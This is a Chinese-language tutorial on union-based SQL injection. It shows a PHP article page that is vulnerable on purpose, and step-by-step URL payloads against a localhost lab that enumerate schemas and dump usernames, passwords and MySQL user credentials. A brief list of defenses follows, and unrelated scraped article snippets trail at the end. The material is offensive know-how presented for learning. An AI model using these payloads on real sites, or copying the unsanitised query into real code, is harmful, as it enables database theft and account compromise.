SQL-查询漏洞
一、查询注入的数据类型
//list.php<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatiable" content="IE=edge"><meta name="viewport" content="width=device-width,initial-sacle=1.0"><title>文章列表</title><style>table{width : 800px;margin : auto;border : solid 1px gray;border-spacing: 0px;}td{border : solid 1px gray;height : 40px;}</style><script>function doDelete(articleid){if(!window.confirm("你确定要删除该文章吗?")){return false;}//window.alert(articleid);$.post('delete.php','articleid='+articleid,function(data){if(data == 'delete-ok'){window.alert('删除成功');//location.href = "list.php";location.reload(); //刷新当前页面}else{window.alert('删除失败' + data);}});}</script>
</head>
<body><table><tr><td>编号</td><td>作者</td><td>标题</td><td>次数</td><td>时间</td><td>操作</td></tr>
<?phpinclude "commond.php";if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){die("请先登录.<a href='login.html'>点此登录</a>");
}$conn = creat_connection();$sql = "select articleid,author,headline,viewcount,creattime from learn3";
$result = mysqli_query($conn,$sql);//将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);//遍历结果集数据并在表格中展示foreach($rows as $row){echo '<tr>';echo '<td>' . $row[0] . '</td>';echo '<td>' . $row[1] . '</td>';echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';echo '<td>' . $row[3] . '</td>';echo '<td>' . $row[4] . '</td>';//echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';echo '</tr>';
}mysqli_close($conn);?></table>
</body>
</html>
//read.php<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatiable" content="IE=edge"><meta name="viewport" content="width=device-width,initial-sacle=1.0"><title>Document</title><style>div{width:800px;margin:auto;height:60px;}</style>
</head>
<body><?phpinclude "commond.php";if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){die("请先登录.<a href='login.html'>点此登录</a>");}$conn = creat_connection();$id = $_GET['id'];$sql = "select * from learn3 where articleid=$id";$result = mysqli_query($conn,$sql);$article = mysqli_fetch_assoc($result); //读取结果集中的第一行数据,并用关联数组表示?><div><?=$article['headline']?></div><div><hr></div><div><?=$article['content']?></div>
</body>
</html>
注入点根据可控参数的数据类型不同,可分为3类,分别是:
1、数字型
select * from tables where id = 1;
2、字符型
select * from tables where username = 'woniu';
3、搜索型
select * from tables where id like '%woniu%';
4、注释方式
数据类型不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用
#(%23),--(空格--+),/* */
二、注入步骤
1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不一致,说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型
3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在正确的主查询条数上。所以在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错
http://localhost/security/read.php?id=1 order by 6
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
4、使用union select查询,将主查询改为负数或者不存在
union联合查询的前提:列数相等select * from tables where id = -1 union select 1,2,3,4,5,6...如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用
5、在显示的数字位置上,替换对应的查询语句,database(),version(),user()
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3将articleid改为-1的话,3和4就代表了headline和content#还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
limit 0,1的意思是从第0个开始往后取一个通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6
http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3
6、使用information_schema进行所有内容查询,得知库名后首先查询表:
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"
7、根据库名和表名查出所有的列名
select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6
8、知道表名和列名,可以直接查出表的内容
select group_comcat(列名) from "表名";
9、使用concat连接列值,可以一次性取出很多列
select concat(username,"==",password,"==",role) as userinfo from user
10、如果查出多列,只能显示一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
三、进阶用法
1、使用concat_ws指定分隔符,比concat更加方便
select concat_ws('==',username,password,role) as userinfo from user
2、使用group_concat和concat_ws连用
select * from article where articleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='learn'),
(select group_concat(concat_ws('==',username,password,role)) from user),5,6/security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。#如果数据量庞大,则可以分批次进行
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6
3、使用十六进制代替单引号
在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1/security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6
4、浏览所有数据库
/security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
information_schema.tables),5,6information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
在需要的时候开启远程访问
5、针对非数字型的查询漏洞
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'select * from learn3 where content like '%页面%';
select * from learn3 where content like '%页面%'-- '%';
select * from learn3 where content like '%页面%'#'%';
上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:
但凡出现上述URL地址的格式,大概率会有SQL注入漏洞,修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入
四、Union查询注入不适用的地方
1、注入语句无法截断,且不清楚完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
五、防护方法
1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度,通常一个ID不会太长
4、对输入进行过滤,如information_schema,union,order by,逗号等等
相关文章:
SQL-查询漏洞
一、查询注入的数据类型 //list.php<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatiable" content"IEedge"><meta name"viewport" content&…...
Maven 多模块项目(如微服务架构)中,父 POM(最外层) 和 子模块 POM(具体业务模块)的区别和联系
文章目录 **1. 父 POM 的核心职责****1.1 依赖管理 (dependencyManagement)****1.2 插件管理 (pluginManagement)****1.3 其他公共配置** **2. 子模块 POM 的核心职责****2.1 依赖声明 (dependencies)****2.2 插件启用与覆盖 (plugins)** **3. 核心对比表****4. 使用场景示例**…...
【AIGC】图片变视频 - SD ComfyUI视频生成
效果图 完整过程 SD ComfyUI 下载 下载 https://pan.quark.cn/s/64b808baa960 解压密码:bilibili-秋葉aaaki 完整 https://www.bilibili.com/video/BV1Ew411776J/ SD ComfyUI 安装 1.解压 2.将controlnet内部文件复制到 ComfyUI-aki-v1.6\ComfyUI\models\control…...
思考我的未来职业
李升伟 编译 关于我 我是一名专注于后端开发的软件工程师,拥有十年专业编程经验。从学生时代起,编程就是我的热情所在,并一直保持着这个长期爱好。此外,我也热爱动漫和电影。 然而过去几年,婚姻、家庭责任和育儿让生…...
StarRocks数据导入
文章目录 StarRocks数据导入Broker LoadETL 集群导数非 ETL 集群导数Broker Load 任务查看BrokerLoad⼤数据量导⼊优化参数推荐配置BrokerLoad 排查思路 Insert IntoInsert Into大数据量导入优化参数 Stream LoadStreamLoad⼤数据量导⼊优化参数推荐配置Stream Load 排查思路 R…...
mmdetection安装
链接: link...
光学像差的类型与消除方法
### **光学像差的类型、理解与消除方法** 光学像差是指实际光学系统成像时,由于透镜或反射镜的非理想特性导致的光线偏离理想路径,从而影响成像质量的现象。像差可分为**单色像差**(与波长无关)和**色差**(与波长相关…...
Manus AI 破局多语言手写识别,解锁智能新天地
Manus AI 破局多语言手写识别,解锁智能新天地 前言 在人工智能技术不断渗透各行各业的背景下,手写识别领域长期面临多语言适配难、复杂场景泛化能力弱等挑战。ManusAI凭借其创新的算法架构和多模态融合技术,成功突破传统OCR(光学…...
文字颜色的渐变(svg实现)
一 上下渐变(有底部阴影) 效果如图: svg代码如下: <svg width"300" height"100" xmlns"http://www.w3.org/2000/svg"><defs><linearGradient id"textGradient" x1"…...
Java-设计模式
Java-设计模式 ⓪设计模式基础 ❶设计模式分类 创建型模式 用于描述对象实例化(创建对象)的模式,即用于解耦对象的实例化过程 GoF(四人组)书中提供了单例、原型、工厂方法、抽象工厂、建造者等 5 种创建型模式。 …...
“我是GM”之NAS搭建Luanti游戏服务器,开启沙盒游戏新体验
“我是GM”之NAS搭建Luanti游戏服务器,开启沙盒游戏新体验 哈喽小伙伴们好,我是Stark-C~ 曾几何时,哪怕是现在,估计依然有很多小伙伴沉迷于开放性和自由度极高的《我的世界》这种沙盒游戏吧~。 我个人到现在手机上还有这款游戏…...
K8S学习之基础五十:k8s中pod时区问题并通过kibana查看日志
k8s中pod默认时区不是中国的,挂载一个时区可以解决 vi pod.yaml apiVersion: v1 kind: Pod metadata:name: counter spec:containers:- name: countimage: 172.16.80.140/busybox/busybox:latestimagePullPolicy: IfNotPresentargs: [/bin/sh,-c,i0;while true;do …...
光电效应及普朗克常数的测定数据处理 Python实现
内容仅供参考,如有错误,欢迎指正,如有疑问,欢迎交流。 因为我不会Excel所以只能用Python来处理 祝大家早日摆脱物理实验的苦海 用到的一些方法 PCHIP (分段三次埃尔米特插值多项式) 因为实验时记录的数…...
hyperf中关于时间的设定
下面我来总结这三者的用法和它们之间的关系: 1. protected ?string $dateFormat U; 作用: 定义数据库日期字段的存储格式‘U’ 表示使用 Unix 时间戳格式(秒级,10位数字) 影响范围: 决定了模型从数据…...
编程实现自我指涉(self-reference)
从计算机的组成原理出发,编程实现自我指涉(self-reference)本质上是通过代码操纵代码,形成逻辑上的闭环。这种能力不仅是编程语言设计中的一个奇妙现象,更是计算理论、计算机架构、乃至哲学层面的一种深刻映射。让我们…...
数据类设计_图片类设计_矩阵图类型和像素图类型设计的补充
前言 以矩阵图类型和像素图类型作为图像类数据的基础,但在使用过程中有个问题:矩阵图形和像素图形的尺寸---长和高没有表现出来,本贴对此做出分析. 引入 原帖数据类设计_图片类设计之7_矩阵图形类设计更新_实战之页面简单设计(前端架构)-CSDN博客里有对…...
php写入\查询influxdb数据
namespace app\index\controller;use InfluxDB2\Client; use InfluxDB2\Model\WritePrecision; use InfluxDB2\Point;class Demo {/*** 显示资源列表** return \think\Response*/public function index(){$token 你的TOKEN;$org zzlichi;$bucket initdb;$client new Client…...
新手村:逻辑回归-理解02:逻辑回归中的伯努利分布
新手村:逻辑回归-理解02:逻辑回归中的伯努利分布 伯努利分布在逻辑回归中的潜在含义及其与后续推导的因果关系 1. 伯努利分布作为逻辑回归的理论基础 ⭐️ 逻辑回归的核心目标是: 建模二分类问题中 目标变量 y y y 的概率分布。 伯努利分布(…...
Python正则表达式(一)
目录 一、正则表达式的基本概念 1、基本概念 2、正则表达式的特殊字符 二、范围符号和量词 1、范围符号 2、匹配汉字 3、量词 三、正则表达式函数 1、使用正则表达式: 2、re.match()函数 3、re.search()函数 4、findall()函数 5、re.finditer()函数 6…...
JavaScript基础-事件委托(代理、委派)
在Web开发中,处理用户交互时经常需要监听DOM元素上的事件。然而,当页面上存在大量的动态生成的元素时,直接给每个元素绑定事件处理器可能会导致性能问题和代码管理复杂度增加。这时,事件委托提供了一种更加高效且易于维护的解决方…...
《TCP/IP网络编程》学习笔记 | Chapter 22:重叠 I/O 模型
《TCP/IP网络编程》学习笔记 | Chapter 22:重叠 I/O 模型 《TCP/IP网络编程》学习笔记 | Chapter 22:重叠 I/O 模型理解重叠 I/O 模型重叠 I/O本章讨论的重叠 I/O 的重点不在于 I/O 创建重叠 I/O 套接字执行重叠 I/O 的 WSASend 函数进行重叠 I/O 的 WSA…...
【区块链安全 | 第二篇】区块链概念详解
文章目录 概述1. 区块链类型2 区块链五层架构3 账本模型4. 节点(Node)5. 区块(Block)6. 区块链(Blockchain)7. 区块链工作流程 核心技术1. 共识机制2. 智能合约 主要组件1. 交易(Transaction&am…...
Android实践开发制作小猴子摘桃小游戏
Android实践制作小猴子摘桃小游戏 实践素材项目源文件获取:Android可以存在版本差异项目如果不能正确运行,可以使用里面的素材自己构建项目Android实践制作小猴子摘桃小游戏Android实践制作小猴子摘桃小游戏https://mp.weixin.qq.com/s/jNU_hVfj9xklsil…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
【C++】回调函数和回调对象
文章目录 回调可调用对象函数指针作回调函数对象作回调函数对象的使用std::function【C11】作回调使用 【C11】Lambda表达式作回调【C11】bind对象作回调std::bind的使用作回调使用 回调 当发生某种事件时需要调用或触发另一个事件即为回调,回调的核心即为将可调用…...
电子产品可靠性预计怎么做?
目录 1、电子产品可靠性预计的目的 2、电子产品可靠性预计的常用方法 2.1、基于统计数据的预计方法 2.2、物理模型预计方法 2.3、加速寿命试验 2.4、基于仿真的预计方法 3、电子产品可靠性预计的步骤 3.1、定义可靠性指标 3.2、收集数据 3.3、建立模型 3.4、进行仿真…...
Ubuntu20.0.4创建ssh key以及repo命令的使用
创建ssh key ssh-keygen //一路回车,不用输入任何东西cat ~/.ssh/id_rsa.pub 配置git config git config --global user.name xxx // 设置git用户名git config --global user.email xxx.com.cn //设置git 邮箱git config --list// remove the git config// rm -fr …...
Java动态代理的使用和安全问题
前言: java的动态代理是指进行明确的分工的操作(多接口 比如我是酒店的老板 有人找我合作 需要先经过前台 我的助理 而不是直接找我) 序列化 :为什么序列化 序列化的对象是一个类 我们也叫对象 class一堆东西里面有很多函…...
Linux云计算SRE-第二十一周
构建单节点prometheus,部署node exporter和mongo exporter。构建kibana大盘。包含主机PU使用率,主机MEM使用率,主机网络包速度。mongo db大盘,包含节点在线状态,读操作延迟等 一、实验环境准备 - 节点信息࿱…...
《Python实战进阶》第33集:PyTorch 入门-动态计算图的优势
第33集:PyTorch 入门-动态计算图的优势 摘要 PyTorch 是一个灵活且强大的深度学习框架,其核心特性是动态计算图机制。本集将带您探索 PyTorch 的张量操作、自动求导系统以及动态计算图的特点与优势,并通过实战案例演示如何使用 PyTorch 实现…...
python dict转换成json格式
一开始你变成字典格式 data [ { a : 1, b : 2, c : 3, d : 4, e : 5 } ] import json data [ { a : 1, b : 2, c : 3, d : 4, e : 5 } ] data2 json.dumps(data) print(data2)json.dumps(data) 是将数组json化。 json格式化输出 data2 json.dumps({a: Runoob, b: 7…...
美亚科技业绩波动明显:现金流为负,四起未决诉讼涉金额1700万
《港湾商业观察》施子夫 近期,广东美亚旅游科技集团股份有限公司(以下简称,美亚科技)披露第二轮审核问询函的回复。从两轮问询函监管层提出的问题来看,有关美亚科技业绩增长的合理性、募投项目的必要性及合理性、经营…...
Java面试总结+算法
目录 Java 中 和 equals 的区别是什么? 什么是类加载器,Java 中有哪些类加载器?它们的职责分别是什么? Redis 有哪些数据结构?它们分别适用于哪些场景? 什么是索引?MySQL 有哪些常见的索引类…...
深度优先搜索(DFS)在排列组合问题中的应用详解:C++实现与优化
一、排列问题(Permutations) 目标:生成所有可能的排列(元素顺序不同视为不同结果)。 示例:输入 [1,2,3],输出所有长度为3的排列,共6种。 C实现代码 #include <iostream> #i…...
GeoChat : Grounded Large Vision-Language Model for Remote Sensing论文精读
GeoChat : Grounded Large Vision-Language Model for Remote Sensing 是一个针对遥感场景的llm,提供支持多任务对话(对高分辨率遥感图像)。也造了个数据集。 一些思考: 文中提到的局限性:小物体和多框预测较难。小物…...
Postman使用02、断点、fiddler弱网测试
脚本操作 一、脚本导出 1.导出json脚本 2.打包json文件 3.下载的文件 二 .导入脚本 1.选择文件 2.点击导入 3.导入的接口 三.多接口运行 1.集合右键,点击run ,运行多个接口 2.编辑环境,集合,执行次数等 3.运行多个接口 四.运行…...
深入解析 C++20 中的 std::bind_front:高效函数绑定与参数前置
文章目录 1. 什么是 std::bind_front?2. 使用 std::bind_front2.1 基本用法2.2 绑定多个参数 3. 优势与特点3.1 简化代码3.2 支持可调用对象3.3 支持完美转发 4. 实际应用场景4.1 事件处理4.2 算法通用化4.3 成员函数调用 5. 总结 在现代 C 编程中,函数绑…...
Opencv计算机视觉编程攻略-第三节 图像颜色处理
第三节 图像颜色处理 1.颜色比较2.GrabCut分割图像3.色调、饱和度以及亮度 1.颜色比较 主要实现逐像素的颜色比较,其中注意BGR颜色空间不连续,不利于颜色提取和区分,转换到Lab空间: int getColorDistance(const cv::Vec3b& c…...
第十七章:Future Directions_《C++ Templates》notes
Future Directions 核心重难点:示例代码: 设计题多选题答案设计题详解 核心重难点: 泛型非类型模板参数 允许任意类型作为非类型模板参数(如template<typename T, auto N>)需解决类型推导和链接问题 编译期控制…...
ComfyUI-PSD-Replace: 海报与壁纸批量生成
ComfyUI-PSD-Replace: 海报与壁纸批量生成 🚀 插件介绍 ComfyUI-PSD-Replace 是一款强大的图像批量处理插件,专为设计师和创意工作者打造。无论你是想快速生成多款海报、定制壁纸,还是批量更新设计模板,本插件都能帮你轻松实现&a…...
图解预训练模型 ELMo 和 BERT
一、ELMo 二、BERT 以上笔记参考自b站up主 自然卷小蛮(自然卷小蛮的个人空间-自然卷小蛮个人主页-哔哩哔哩视频),感兴趣的可以去深入了解。...
YoloV8训练和平精英人物检测模型
概述 和平精英人物检测,可以识别游戏中所有人物角色,并通过绘制框将人物选中,训练的模型仅仅具有识别功能,可以识别游戏中的视频、图片等文件,搭配Autox.js可以推理,实现实时绘制,但是对手机性…...
基于物联网的智能蔬菜仓库设计(论文+源码)
1系统功能分析 由于蔬菜仓库内部环境直接影响到内部货物的正常存储工作,因此对蔬菜仓库内部环境进行智能化的监控具有重要意义。本次基于物联网的智能蔬菜仓库设计,系统实现的功能如下: (1)对蔬菜仓库内部进行温度检测…...
Java 字符流全解析:核心类实战指南
一、FileReader 与 FileWriter:文本文件基础操作 功能:直接基于字符处理文本文件,自动完成字节到字符的解码(默认使用系统编码)。 适用场景:读写简单的文本文件(如 .txt、.csv)。 …...
SQL Server 2022 安装问题
一、安装与配置问题 1. SQL Server 2022 安装失败怎么办? 常见原因: 硬件或操作系统不满足最低要求(如内存、磁盘空间不足)。未关闭防火墙或杀毒软件。之前版本的 SQL Server 残留文件未清理。 解决方案: 确保硬件配…...
Vue3 实现pdf预览
1.使用到的插件 vue3-pdf-app 以及预览效果 2.下载依赖 // 可以使用npm 以及pnpm // 下载版本1.0.3 pnpm install vue3-pdf-app^1.0.3 3.封装pdfModel组件复用 <template><VuePdfApp :page-scale"pageScale" :theme"theme" :style"width: …...
python网络爬虫开发实战之网页数据的解析提取
目录 1 XPath的使用 1.1 XPath概览 1.2 XPath常用规则 1.3 准备工作 1.4 实例引入 1.5 所有节点 1.6 节点 1.7 父节点 1.8 属性匹配 1.9 文本获取 1.10 属性获取 1.11 属性多值匹配 1.12 多属性匹配 1.13 按序选择 1.14 节点轴选择 2 Beautiful Soup 2.1 简介…...
GitHub Copilot平替:CodeGeeX 2.0实测报告
本文基于20个真实开发场景对CodeGeeX 2.0进行深度评测,涵盖代码生成质量、上下文理解能力、多语言支持度等关键维度。通过Python数据分析、Java微服务、React前端开发三大核心场景的对比实验,揭示其相比GitHub Copilot在中文语境支持、本地化部署、隐私保…...
QT对象模型
信号,槽,函数执行顺序 首先,拖入一个按钮,在转到槽,在click() 转到widget.cpp 在widget.h中 然后在widget.cpp中 运行结果 当发出信号后,先执行槽函数,再执行信号后面的函数(单线程) 在widget.h…...
C++:类型推导规则 unsigned short + 1
在 C/C 中,整数提升(Integer Promotion) 规则决定了 vlan_id 1 的类型: unsigned short 的值在运算时会被 提升(promote) 到 int 或 unsigned int(取决于平台)。 默认情况下&#x…...